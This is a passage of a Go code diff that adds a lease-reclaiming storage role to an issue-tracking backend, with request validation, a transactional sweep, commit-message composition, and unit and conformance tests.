[]issueops.ReclaimedLease{{ID: "bd-1", PreviousOwner: "w", Revision: "42"}}} + reclaimer := &hookLeaseReclaimer{inner: &fakeLeaseReclaimer{result: want}, hooks: &recordingIssueOperationHooks{}} + + got, err := reclaimer.Reclaim(context.Background(), issueops.ReclaimRequest{Actor: "reaper"}) + if err != nil { + t.Fatalf("Reclaim error = %v", err) + } + if !reflect.DeepEqual(got, want) { + t.Fatalf("Reclaim result = %+v, want %+v", got, want) + } +} diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 0838bce48..be4703360 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -66,6 +66,7 @@ go_library( "journal_prune.go", "labels.go", "lease.go", + "lease_reclaimer.go", "metadata.go", "metadata_cas.go", "molecule.go", @@ -164,6 +165,7 @@ go_test( "journal_truncation_test.go", "journal_vocabulary_test.go", "label_rename_merged_count_test.go", + "lease_reclaimer_test.go", "lease_replica_test.go", "metadata_test.go", "prepare_timestamps_utc_test.go", diff --git a/internal/storage/issueops/lease.go b/internal/storage/issueops/lease.go index d2b75f7e7..2ec940280 100644 --- a/internal/storage/issueops/lease.go +++ b/internal/storage/issueops/lease.go @@ -667,6 +667,11 @@ func reclaimReplicaSQL(filter types.ReclaimFilter, localNode string) (string, [] // the lease from) so the caller can log/emit recovery events. The caller owns // Dolt versioning. // +// This is the one place a reclaimed row's revision token is minted: the row's +// freshRowLock() value is captured off the revert UPDATE and published on +// each types.ReclaimedLease as types.RevisionToken(newLock), the same +// encoding IssueDetails.Revision uses. +// // filter narrows which stale leases are eligible (see types.ReclaimFilter); the // zero filter keeps the historical global behavior. Scoping is applied to the // snapshot SELECT only — the per-row DELETE/UPDATE re-checks staleness by id, @@ -754,12 +759,13 @@ func ReclaimExpiredLeasesInTx(ctx context.Context, tx DBTX, cutoff time.Time, fi // being in_progress under us (closed) is left alone; row_lock makes a // concurrent close/update conflict at commit time rather than // cell-merge with this write. + newLock := freshRowLock() res, err = tx.ExecContext(ctx, ` UPDATE issues SET status = 'open', assignee = NULL, started_at = NULL, updated_at = ?, row_lock = ? WHERE id = ? AND status = 'in_progress' - `, time.Now().UTC(), freshRowLock(), r.ID) + `, time.Now().UTC(), newLock, r.ID) if err != nil { return nil, fmt.Errorf("reclaim %s: %w", r.ID, err) } @@ -770,6 +776,7 @@ func ReclaimExpiredLeasesInTx(ctx context.Context, tx DBTX, cutoff time.Time, fi if n == 0 { continue // no longer in_progress — its lease row was stale anyway } + r.Revision = types.RevisionToken(newLock) if err := RecordFullEventInTable(ctx, tx, "events", r.ID, types.EventLeaseReclaimed, actor, r.PreviousOwner, ""); err != nil { return nil, fmt.Errorf("record reclaim event for %s: %w", r.ID, err) diff --git a/internal/storage/issueops/lease_reclaimer.go b/internal/storage/issueops/lease_reclaimer.go new file mode 100644 index 000000000..ba0e8b4cb --- /dev/null +++ b/internal/storage/issueops/lease_reclaimer.go @@ -0,0 +1,123 @@ +package issueops + +import ( + "context" + "fmt" + "strings" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// ValidateReclaimRequest applies the request rules every LeaseReclaimer +// implementation shares. +// +// THE CAP IS CHECKED AGAINST Filter.IDs AS SENT, before deduplication, for +// ValidateGetManyRequest's reason: the obligation it bounds is reading the +// request apart, not reading the rows it resolves to. +// +// THE ACTOR IS BOUNDED HERE, trimmed as the sweep records it, for +// claimIssueInTx's reason: every reverted row's recovery event lands in a +// VARCHAR(255) column, so an over-long actor is a typed refusal on every leg +// rather than a raw backend error on the first sweep that reverts something. +// +// It is the ONE definition of the role's rules: the library legs run it, and +// the HTTP client restates it (pinned by +// TestReclaimValidationMatchesTheSharedValidator). Every refusal but the cap +// is a *publicops.ReclaimFieldError naming its field. bd serve's handler leaves +// the id cap and the blank entries to it, and adds three rules of the wire's +// own that a library caller is not held to: the claim's name rules on the +// actor (a 256-byte bound, no control characters), an `older_than_seconds` a +// time.Duration can hold, and no scope member present but empty. +func ValidateReclaimRequest(request publicops.ReclaimRequest) error { + actor := strings.TrimSpace(request.Actor) + if actor == "" { + return reclaimFieldError(publicops.ReclaimFieldActor, "reclaim actor is required") + } + if err := types.CheckFieldLen("actor", actor); err != nil { + return reclaimFieldError(publicops.ReclaimFieldActor, err.Error()) + } + if request.OlderThan < 0 { + return reclaimFieldError(publicops.ReclaimFieldOlderThan, "reclaim older_than must not be negative") + } + if len(request.Filter.IDs) > publicops.MaxReclaimIDs { + return &publicops.TooManyReclaimIDsError{Requested: len(request.Filter.IDs), Cap: publicops.MaxReclaimIDs} + } + for i, id := range request.Filter.IDs { + if id == "" { + return reclaimFieldError(publicops.ReclaimFieldIDs, fmt.Sprintf("reclaim scope id at position %d is empty", i)) + } + } + for _, scope := range []struct { + field string + values []string + }{ + {publicops.ReclaimFieldAssignees, request.Filter.Assignees}, + {publicops.ReclaimFieldLabels, request.Filter.Labels}, + {publicops.ReclaimFieldLabelsAny, request.Filter.LabelsAny}, + {publicops.ReclaimFieldExcludeLabels, request.Filter.ExcludeLabels}, + } { + for i, v := range scope.values { + if strings.TrimSpace(v) == "" { + return reclaimFieldError(scope.field, fmt.Sprintf("reclaim %s entry at position %d is blank", scope.field, i)) + } + } + } + return nil +} + +func reclaimFieldError(field, detail string) error { + return &publicops.ReclaimFieldError{Field: field, Detail: storage.ErrValidation.Error() + ": " + detail} +} + +// ExecuteReclaimInTx sweeps stale leases from tx, in ONE transaction. It is +// the body behind the LeaseReclaimer accessor on ALL THREE legs: the two +// stores wrap it in their own retrying write transaction, and the +// unit-of-work provider reaches it through the domain repository, whose +// runner publishes exactly the DBTX method set ReclaimExpiredLeasesInTx +// takes. +// +// VALIDATION HAPPENS HERE, for ExecuteGetMany's reason: this body is the only +// body, so a leg that forgot to validate would be answering a different +// contract. It runs before the cutoff is computed and before the sweep's +// query, so a request that fails validation never reaches storage. +// +// THE CUTOFF IS COMPUTED HERE, once, from time.Now().UTC().Add(-OlderThan), so +// every leg sweeps against the same clock read rather than each leg taking its +// own — the dolt and embedded-dolt wrappers and the unit-of-work repository +// all call this function with the request, never with a precomputed cutoff. +func ExecuteReclaimInTx(ctx context.Context, tx DBTX, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + if err := ValidateReclaimRequest(request); err != nil { + return publicops.ReclaimResult{}, err + } + cutoff := time.Now().UTC().Add(-request.OlderThan) + reclaimed, err := ReclaimExpiredLeasesInTx(ctx, tx, cutoff, request.Filter, strings.TrimSpace(request.Actor)) + if err != nil { + return publicops.ReclaimResult{}, fmt.Errorf("reclaim: %w", err) + } + if reclaimed == nil { + reclaimed = []publicops.ReclaimedLease{} + } + return publicops.ReclaimResult{Reclaimed: reclaimed}, nil +} + +// ReclaimVersionCommit composes the version-control entry for a finished sweep: +// the durable tables it changed and the message to record them under. A sweep +// that reverted nothing composes neither, which every leg's commit funnel reads +// as "write nothing to history", so a no-op reaper tick leaves no entry +// describing a no-op. +// +// It is ONE helper the three legs share so the message cannot drift between +// them: the same "bd: reclaim N expired lease(s)" the raw ReclaimExpiredLeases +// has always recorded. The staged set is the one the release records, issues +// and events, because a reclaim is the same revert applied by a clock. +func ReclaimVersionCommit(result publicops.ReclaimResult) (ChangedTables, string) { + if len(result.Reclaimed) == 0 { + return nil, "" + } + tables := ChangedTables{} + tables.Add("issues", "events") + return tables, fmt.Sprintf("bd: reclaim %d expired lease(s)", len(result.Reclaimed)) +} diff --git a/internal/storage/issueops/lease_reclaimer_test.go b/internal/storage/issueops/lease_reclaimer_test.go new file mode 100644 index 000000000..5b97b50af --- /dev/null +++ b/internal/storage/issueops/lease_reclaimer_test.go @@ -0,0 +1,107 @@ +package issueops + +import ( + "context" + "errors" + "strings" + "testing" + "time" + + "github.com/DATA-DOG/go-sqlmock" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestValidateReclaimRequestRefusesInTheDocumentedOrder pins the database-free +// tier of the role's refusals: each rule on both sides, and the cap checked +// before the blank scan, against the request as sent. +func TestValidateReclaimRequestRefusesInTheDocumentedOrder(t *testing.T) { + overCap := make([]string, publicops.MaxReclaimIDs+1) + atCap := make([]string, publicops.MaxReclaimIDs) + for i := range atCap { + atCap[i] = "bd-x" + } + for _, test := range []struct { + name string + request publicops.ReclaimRequest + wantErr bool + wantCap bool + }{ + {"a bare valid request", publicops.ReclaimRequest{Actor: "reaper"}, false, false}, + {"a zero grace window", publicops.ReclaimRequest{Actor: "reaper", OlderThan: 0}, false, false}, + {"exactly the cap", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{IDs: atCap}}, false, false}, + {"no actor", publicops.ReclaimRequest{}, true, false}, + {"a blank actor", publicops.ReclaimRequest{Actor: " "}, true, false}, + // The actor is bounded as the sweep records it: trimmed, then held to + // its column, so padding around a value at the bound is not over it. + {"an actor at the bound", publicops.ReclaimRequest{Actor: strings.Repeat("r", types.MaxFieldLen)}, false, false}, + {"a padded actor at the bound", publicops.ReclaimRequest{Actor: " " + strings.Repeat("r", types.MaxFieldLen) + " "}, false, false}, + {"an over-long actor", publicops.ReclaimRequest{Actor: strings.Repeat("r", types.MaxFieldLen+1)}, true, false}, + {"a negative grace window", publicops.ReclaimRequest{Actor: "reaper", OlderThan: -time.Nanosecond}, true, false}, + {"a blank id", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{IDs: []string{"bd-1", ""}}}, true, false}, + {"a blank assignee", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{Assignees: []string{"w", " "}}}, true, false}, + {"a blank label", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{Labels: []string{""}}}, true, false}, + {"a blank label-any", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{LabelsAny: []string{"\t"}}}, true, false}, + {"a blank exclude", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{ExcludeLabels: []string{"x", ""}}}, true, false}, + // Every entry blank AND one past the cap: the cap answers, so a caller + // that sent 1001 ids learns about the cap rather than about an entry. + {"over the cap of blanks", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{IDs: overCap}}, true, true}, + } { + t.Run(test.name, func(t *testing.T) { + err := ValidateReclaimRequest(test.request) + if (err != nil) != test.wantErr { + t.Fatalf("ValidateReclaimRequest = %v, want error %v", err, test.wantErr) + } + if err == nil { + return + } + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("ValidateReclaimRequest = %v, want ErrValidation", err) + } + var capErr *publicops.TooManyReclaimIDsError + if got := errors.As(err, &capErr); got != test.wantCap { + t.Fatalf("errors.As(*TooManyReclaimIDsError) = %v, want %v (err %v)", got, test.wantCap, err) + } + var fieldErr *publicops.ReclaimFieldError + if !test.wantCap && (!errors.As(err, &fieldErr) || fieldErr.Field == "") { + t.Fatalf("refusal %v names no field; every refusal but the cap is a *ReclaimFieldError", err) + } + }) + } +} + +// TestExecuteReclaimInTxRefusesBeforeAnyQuery pins "a request that fails +// validation never reaches storage": the mock expects nothing, so any query +// would fail the test. +func TestExecuteReclaimInTxRefusesBeforeAnyQuery(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + defer db.Close() + + _, err = ExecuteReclaimInTx(context.Background(), db, publicops.ReclaimRequest{}) + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("ExecuteReclaimInTx with no actor = %v, want ErrValidation", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatal(err) + } +} + +// TestReclaimVersionCommitComposesNothingForANoOp pins the shared commit +// composition: no entry for a sweep that reverted nothing, and one entry +// naming the count, staging issues and events, for one that did. +func TestReclaimVersionCommitComposesNothingForANoOp(t *testing.T) { + if tables, msg := ReclaimVersionCommit(publicops.ReclaimResult{Reclaimed: []publicops.ReclaimedLease{}}); len(tables) != 0 || msg != "" { + t.Fatalf("a no-op sweep composed tables=%v msg=%q, want neither", tables, msg) + } + tables, msg := ReclaimVersionCommit(publicops.ReclaimResult{Reclaimed: []publicops.ReclaimedLease{{ID: "a"}, {ID: "b"}}}) + if !tables["issues"] || !tables["events"] || len(tables) != 2 { + t.Fatalf("tables = %v, want issues and events", tables) + } + if !strings.Contains(msg, "reclaim 2 expired lease(s)") { + t.Fatalf("message = %q, want it to name the two reverted leases", msg) + } +} diff --git a/internal/storage/role_accessor_decorator_test.go b/internal/storage/role_accessor_decorator_test.go index aa8ce3b57..540518354 100644 --- a/internal/storage/role_accessor_decorator_test.go +++ b/internal/storage/role_accessor_decorator_test.go @@ -68,11 +68,11 @@ func roleAccessorNamesOf(surface reflect.Type) (names, unclassified []string) { } // TestEveryStoreRoleAccessorIsClassified fails when DoltStorage hands out an -// interface the census cannot place. Every one of the twenty-eight today is a +// interface the census cannot place. Every one of the twenty-nine today is a // facade role, so this costs nothing and closes the path where a role surface // grows a package and the census quietly stops covering it. (roleAccessorNames // is derived, so the count is prose and only this sentence goes stale — but it -// does go stale, and the last three sweeps found it saying twenty-seven.) +// does go stale, and the last three sweeps found it saying twenty-eight.) func TestEveryStoreRoleAccessorIsClassified(t *testing.T) { _, unclassified := roleAccessorNamesOf(reflect.TypeOf((*DoltStorage)(nil)).Elem()) for _, accessor := range unclassified { @@ -151,71 +151,73 @@ func assertRoleAccessorsAreDeclared(t *testing.T, decorator reflect.Type) { } // roleAccessorStore is a DoltStorage whose only real methods are the -// twenty-eight role accessors, each answering with a distinguishable sentinel +// twenty-nine role accessors, each answering with a distinguishable sentinel // so a test can tell a decorated surface from a passed-through one. type roleAccessorStore struct { DoltStorage - lifecycle issueops.Lifecycle - reader issueops.Reader - relations issueops.Relations - edges issueops.EdgeReader - blocking issueops.BlockingAnnotator - tree issueops.TreeWalker - graphCounter issueops.GraphCounter - batchGetter issueops.BatchGetter - counter issueops.Counter - settings issueops.WorkspaceConfig - memories memoryops.Memories - versions issueops.VersionReconciler - stats issueops.StatsReporter - cycles issueops.CycleDetector - commenter issueops.Commenter - claimer issueops.ReadyClaimer - closer issueops.BatchCloser - creator issueops.BatchCreator - editor issueops.DependencyEditor - applier issueops.BatchApplier - readyCounter issueops.ReadyCounter - querier issueops.Querier - sweeper issueops.Sweeper - deleter issueops.Deleter - bootstrapper issueops.Bootstrapper - verifier issueops.InitVerifier - metadataCAS issueops.MetadataCAS - releaser issueops.Releaser - err error + lifecycle issueops.Lifecycle + reader issueops.Reader + relations issueops.Relations + edges issueops.EdgeReader + blocking issueops.BlockingAnnotator + tree issueops.TreeWalker + graphCounter issueops.GraphCounter + batchGetter issueops.BatchGetter + counter issueops.Counter + settings issueops.WorkspaceConfig + memories memoryops.Memories + versions issueops.VersionReconciler + stats issueops.StatsReporter + cycles issueops.CycleDetector + commenter issueops.Commenter + claimer issueops.ReadyClaimer + closer issueops.BatchCloser + creator issueops.BatchCreator + editor issueops.DependencyEditor + applier issueops.BatchApplier + readyCounter issueops.ReadyCounter + querier issueops.Querier + sweeper issueops.Sweeper + deleter issueops.Deleter + bootstrapper issueops.Bootstrapper + verifier issueops.InitVerifier + metadataCAS issueops.MetadataCAS + releaser issueops.Releaser + leaseReclaimer issueops.LeaseReclaimer + err error } func newRoleAccessorStore() *roleAccessorStore { sentinel := &roleAccessorSentinel{} return &roleAccessorStore{ - memories: &memoryRoleSentinel{}, - lifecycle: sentinel, - reader: sentinel, - relations: sentinel, - edges: sentinel, - blocking: sentinel, - graphCounter: sentinel, - batchGetter: sentinel, - counter: sentinel, - settings: sentinel, - versions: sentinel, - stats: sentinel, - cycles: sentinel, - commenter: sentinel, - claimer: sentinel, - closer: sentinel, - creator: sentinel, - editor: sentinel, - applier: sentinel, - readyCounter: sentinel, - querier: sentinel, - sweeper: sentinel, - deleter: sentinel, - bootstrapper: sentinel, - verifier: sentinel, - metadataCAS: sentinel, - releaser: sentinel, + memories: &memoryRoleSentinel{}, + lifecycle: sentinel, + reader: sentinel, + relations: sentinel, + edges: sentinel, + blocking: sentinel, + graphCounter: sentinel, + batchGetter: sentinel, + counter: sentinel, + settings: sentinel, + versions: sentinel, + stats: sentinel, + cycles: sentinel, + commenter: sentinel, + claimer: sentinel, + closer: sentinel, + creator: sentinel, + editor: sentinel, + applier: sentinel, + readyCounter: sentinel, + querier: sentinel, + sweeper: sentinel, + deleter: sentinel, + bootstrapper: sentinel, + verifier: sentinel, + metadataCAS: sentinel, + releaser: sentinel, + leaseReclaimer: sentinel, } } @@ -286,8 +288,11 @@ func (s *roleAccessorStore) BatchApplier() (issueops.BatchApplier, error) { func (s *roleAccessorStore) Releaser() (issueops.Releaser, error) { return s.releaser, s.err } +func (s *roleAccessorStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return s.leaseReclaimer, s.err +} -// roleAccessorSentinel implements twenty-seven of the twenty-eight roles at +// roleAccessorSentinel implements twenty-eight of the twenty-nine roles at // once — every one but memoryops.Memories, whose List collides with // issueops.Reader.List and needs the second sentinel below. // Nothing calls its methods; identity is the whole point. @@ -412,6 +417,9 @@ func (*roleAccessorSentinel) CompareAndSetKey(context.Context, issueops.CompareA func (*roleAccessorSentinel) Release(context.Context, issueops.ReleaseRequest) (issueops.ReleaseResult, error) { return issueops.ReleaseResult{}, nil } +func (*roleAccessorSentinel) Reclaim(context.Context, issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + return issueops.ReclaimResult{}, nil +} // memoryRoleSentinel is the memory role's sentinel, and the one role // memoryRoleSentinel is the remaining role's sentinel, and the one role @@ -474,6 +482,7 @@ func TestHookFiringStoreWrapsTheWriteRolesAndPassesTheReadsThrough(t *testing.T) {"MetadataCAS", func() (any, error) { return store.MetadataCAS() }, inner.metadataCAS, true}, {"BatchApplier", func() (any, error) { return store.BatchApplier() }, inner.applier, true}, {"Releaser", func() (any, error) { return store.Releaser() }, inner.releaser, true}, + {"LeaseReclaimer", func() (any, error) { return store.LeaseReclaimer() }, inner.leaseReclaimer, true}, {"IssueReader", func() (any, error) { return store.IssueReader() }, inner.reader, false}, {"IssueRelations", func() (any, error) { return store.IssueRelations() }, inner.relations, false}, {"EdgeReader", func() (any, error) { return store.EdgeReader() }, inner.edges, false}, @@ -532,6 +541,7 @@ func TestHookFiringStoreRoleAccessorsPropagateInnerErrors(t *testing.T) { {"MetadataCAS", func() (any, error) { return store.MetadataCAS() }}, {"BatchApplier", func() (any, error) { return store.BatchApplier() }}, {"Releaser", func() (any, error) { return store.Releaser() }}, + {"LeaseReclaimer", func() (any, error) { return store.LeaseReclaimer() }}, {"IssueReader", func() (any, error) { return store.IssueReader() }}, {"IssueRelations", func() (any, error) { return store.IssueRelations() }}, {"EdgeReader", func() (any, error) { return store.EdgeReader() }}, diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 8abe0b0fd..66553307f 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -378,6 +378,15 @@ type Storage interface { // assignee and status, which is on_update — the same event the journal // already records for it. See hook_releaser.go. Releaser() (issueops.Releaser, error) + // LeaseReclaimer returns the lease-sweep surface for this store: revert + // every lease that has been held past its deadline back to its + // pre-claim state, for a caller that is a clock rather than a human or a + // request. + // + // It is a WRITE role and its hook decorator WRAPS: a reclaim changes + // assignee and status per reverted row, which is on_update, the same + // event Releaser fires. See hook_lease_reclaimer.go. + LeaseReclaimer() (issueops.LeaseReclaimer, error) // Issue CRUD CreateIssue(ctx context.Context, issue *types.Issue, actor string) error diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index 8b4abc0d4..fed8ccd9a 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -31,6 +31,7 @@ go_library( "issue_operations.go", "issue_reader.go", "journal_maintenance.go", + "lease_reclaimer.go", "maintenance.go", "memories.go", "metadata_cas.go", @@ -128,6 +129,7 @@ go_test( "journal_contract_test.go", "journal_delete_actor_test.go", "journal_scope_test.go", + "lease_reclaimer_contract_test.go", "lifecycle_close_reopen_contract_test.go", "lifecycle_create_contract_test.go", "lifecycle_role_hooks_test.go", diff --git a/internal/storage/uow/lease_reclaimer.go b/internal/storage/uow/lease_reclaimer.go new file mode 100644 index 000000000..1cc522c6b --- /dev/null +++ b/internal/storage/uow/lease_reclaimer.go @@ -0,0 +1,60 @@ +package uow + +import ( + "context" + "fmt" + + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + publicops "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimerSource is the capability accessor a unit-of-work provider +// offers for the lease-sweep role, the sibling of DeleterSource and +// ReleaserSource. +type LeaseReclaimerSource interface { + LeaseReclaimer() (publicops.LeaseReclaimer, error) +} + +// leaseReclaimer sweeps stale leases through a unit of work. +type leaseReclaimer struct { + provider UnitOfWorkProvider +} + +// LeaseReclaimer returns the guarded lease-sweep surface for this provider. +func (p *doltSQLProvider) LeaseReclaimer() (publicops.LeaseReclaimer, error) { + return NewLeaseReclaimer(p) +} + +// NewLeaseReclaimer constructs a public LeaseReclaimer backed by provider. +func NewLeaseReclaimer(provider UnitOfWorkProvider) (publicops.LeaseReclaimer, error) { + if isNilUnitOfWorkProvider(provider) { + return nil, fmt.Errorf("new lease reclaimer: unit-of-work provider must not be nil") + } + return &leaseReclaimer{provider: provider}, nil +} + +var _ publicops.LeaseReclaimer = (*leaseReclaimer)(nil) + +// Reclaim reaches domain.IssueUseCase.Reclaim inside ONE committing unit of +// work, composing the same conditional commit message the dolt and +// embedded-dolt legs use: a sweep that reverts nothing leaves no history +// entry describing a no-op. +// +// VALIDATION HAPPENS BEFORE THE UNIT OF WORK OPENS, as on those two legs and +// for Releaser's reason: a refusal then changes nothing on the connection as +// well as on the rows. The shared body validates again inside the transaction, +// which is what keeps a leg that skipped this from answering a different +// contract. +func (l *leaseReclaimer) Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + if err := storageissueops.ValidateReclaimRequest(request); err != nil { + return publicops.ReclaimResult{}, err + } + return RunTxResult(ctx, l.provider, func(ctx context.Context, uw UnitOfWork) (publicops.ReclaimResult, string, error) { + result, err := uw.IssueUseCase().Reclaim(ctx, request) + if err != nil { + return result, "", err + } + _, msg := storageissueops.ReclaimVersionCommit(result) + return result, msg, nil + }) +} diff --git a/internal/storage/uow/lease_reclaimer_contract_test.go b/internal/storage/uow/lease_reclaimer_contract_test.go new file mode 100644 index 000000000..edcda454a --- /dev/null +++ b/internal/storage/uow/lease_reclaimer_contract_test.go @@ -0,0 +1,146 @@ +package uow + +import ( + "context" + "errors" + "fmt" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestLeaseReclaimerContract runs the LeaseReclaimer contract against the +// unit-of-work provider, which reaches internal/storage/issueops. +// ExecuteReclaimInTx through domain.IssueUseCase.Reclaim inside one committing +// unit of work. +func TestLeaseReclaimerContract(t *testing.T) { + ctx, cancel := context.WithCancel(t.Context()) + defer cancel() + fixture := newUOWLeaseReclaimerFixture(t, ctx, "lrc") + + t.Run("RevertsAStaleLease", func(t *testing.T) { + conformance.RunLeaseReclaimerRevertsAStaleLease(t, ctx, fixture) + }) + t.Run("MintsARevisionThatFencesTheFormerHolder", func(t *testing.T) { + conformance.RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t, ctx, fixture) + }) + t.Run("LeavesALiveLeaseAlone", func(t *testing.T) { + conformance.RunLeaseReclaimerLeavesALiveLeaseAlone(t, ctx, fixture) + }) + t.Run("HonorsTheGraceWindow", func(t *testing.T) { + conformance.RunLeaseReclaimerHonorsTheGraceWindow(t, ctx, fixture) + }) + t.Run("ScopesToTheNamedIDs", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToTheNamedIDs(t, ctx, fixture) + }) + t.Run("AnswersAnAbsentIDWithAnEmptyResult", func(t *testing.T) { + conformance.RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t, ctx, fixture) + }) + t.Run("ScopesToAssigneesAndLabels", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToAssigneesAndLabels(t, ctx, fixture) + }) + t.Run("AttributesTheRecoveryEvent", func(t *testing.T) { + conformance.RunLeaseReclaimerAttributesTheRecoveryEvent(t, ctx, fixture) + }) + t.Run("FiresOnUpdateOncePerReclaimedRow", func(t *testing.T) { + conformance.RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t, ctx, fixture) + }) + t.Run("RefusesAMalformedRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesAMalformedRequest(t, ctx, fixture) + }) + t.Run("RefusesABlankScopeEntry", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesABlankScopeEntry(t, ctx, fixture) + }) + t.Run("AcceptsExactlyTheCap", func(t *testing.T) { + conformance.RunLeaseReclaimerAcceptsExactlyTheCap(t, ctx, fixture) + }) + t.Run("DoesNotMutateTheCallerRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerDoesNotMutateTheCallerRequest(t, ctx, fixture) + }) +} + +// TestLeaseReclaimerRefusesBeforeOpeningAUOW: a malformed sweep is a +// deterministic validation failure and must not cost a database connection to +// discover, as on the dolt and embedded-dolt legs. The provider fails every +// open, so a refusal that came from inside a unit of work would be counted. +func TestLeaseReclaimerRefusesBeforeOpeningAUOW(t *testing.T) { + for _, tc := range []struct { + name string + request publicops.ReclaimRequest + }{ + {"no actor", publicops.ReclaimRequest{}}, + {"a negative grace window", publicops.ReclaimRequest{Actor: "reaper", OlderThan: -1}}, + {"a blank id", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{IDs: []string{""}}}}, + } { + t.Run(tc.name, func(t *testing.T) { + provider := &mockUnitOfWorkProvider{newUOWErr: errors.New("unexpected unit-of-work open")} + reclaimer, err := NewLeaseReclaimer(provider) + if err != nil { + t.Fatalf("NewLeaseReclaimer: %v", err) + } + if _, err := reclaimer.Reclaim(context.Background(), tc.request); !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("err = %v, want ErrValidation", err) + } + if provider.newUOWCalls != 0 { + t.Errorf("an invalid request opened %d units of work", provider.newUOWCalls) + } + }) + } +} + +// newUOWLeaseReclaimerFixture takes every role through the provider's own +// capability accessors, and the hooked reclaimer off the notifying provider +// the proxied CLI route wraps around its provider. +func newUOWLeaseReclaimerFixture(t *testing.T, ctx context.Context, prefix string) conformance.LeaseReclaimerFixture { + t.Helper() + provider := newUOWRoleFixtureProvider(t, ctx, prefix) + source, ok := provider.(LeaseReclaimerSource) + if !ok { + t.Fatalf("provider %T does not offer the LeaseReclaimer accessor", provider) + } + reclaimer, err := source.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer(): %v", err) + } + claimer, err := provider.(IssueClaimerSource).IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + lifecycle, err := provider.(IssueLifecycleSource).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + runner, fired := conformance.NewUpdateHookLog(t) + hooked := reclaimer + if runner != nil { + notifying, ok := NewNotifyingProvider(provider, Sinks{Hook: runner}).(LeaseReclaimerSource) + if !ok { + t.Fatal("the notifying provider does not offer the LeaseReclaimer accessor") + } + if hooked, err = notifying.LeaseReclaimer(); err != nil { + t.Fatalf("hooked LeaseReclaimer(): %v", err) + } + } + kit := newUOWRoleFixtureKit(provider, prefix) + return conformance.LeaseReclaimerFixture{ + IssuePrefix: kit.IssuePrefix, + LeaseReclaimer: reclaimer, + CreateIssue: kit.CreateIssue, + Claimer: claimer, + Lifecycle: lifecycle, + QueryScalar: kit.QueryScalar, + Exec: func(ctx context.Context, statements []conformance.SQLStatement) error { + return RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + for _, stmt := range statements { + if _, err := uw.RawSQLUseCase().Exec(ctx, stmt.Query, stmt.Args...); err != nil { + return "", fmt.Errorf("%s: %w", stmt.Query, err) + } + } + return "seed lease reclaimer rows", nil + }) + }, + HookedLeaseReclaimer: hooked, + FiredUpdates: fired, + } +} diff --git a/internal/storage/uow/notifying.go b/internal/storage/uow/notifying.go index f1e9930e5..53da8a3b9 100644 --- a/internal/storage/uow/notifying.go +++ b/internal/storage/uow/notifying.go @@ -309,6 +309,10 @@ func (p *notifyingProvider) MetadataCAS() (publicops.MetadataCAS, error) { retur func (p *notifyingProvider) Releaser() (publicops.Releaser, error) { return NewReleaser(p) } +func (p *notifyingProvider) LeaseReclaimer() (publicops.LeaseReclaimer, error) { + return NewLeaseReclaimer(p) +} + func (p *notifyingProvider) Memories() (memoryops.Memories, error) { return NewMemories(p) } // EventsJournalCursor builds on THIS provider, like every role above it, so a @@ -423,6 +427,7 @@ var ( _ WorkspaceConfigSource = (*notifyingProvider)(nil) _ VersionReconcilerSource = (*notifyingProvider)(nil) _ MemoriesSource = (*notifyingProvider)(nil) + _ LeaseReclaimerSource = (*notifyingProvider)(nil) _ EventsJournalCursorSource = (*notifyingProvider)(nil) ) @@ -1008,6 +1013,25 @@ func (u *recordingIssueUC) ReleaseIssue(ctx context.Context, req publicops.Relea return result, wrote, nil } +// Reclaim records an update for every lease the sweep reverted. +// +// It is DECLARED for the same reason ReleaseIssue above is: an inherited +// accessor would compile and record nothing, silently dropping the hook the +// DoltStorage chain fires once per reverted row. +// +// A sweep reverts only issues, never wisps, so the snapshot is the issues- +// plane snap.issue rather than anyPlane. +func (u *recordingIssueUC) Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + result, err := u.IssueUseCase.Reclaim(ctx, request) + 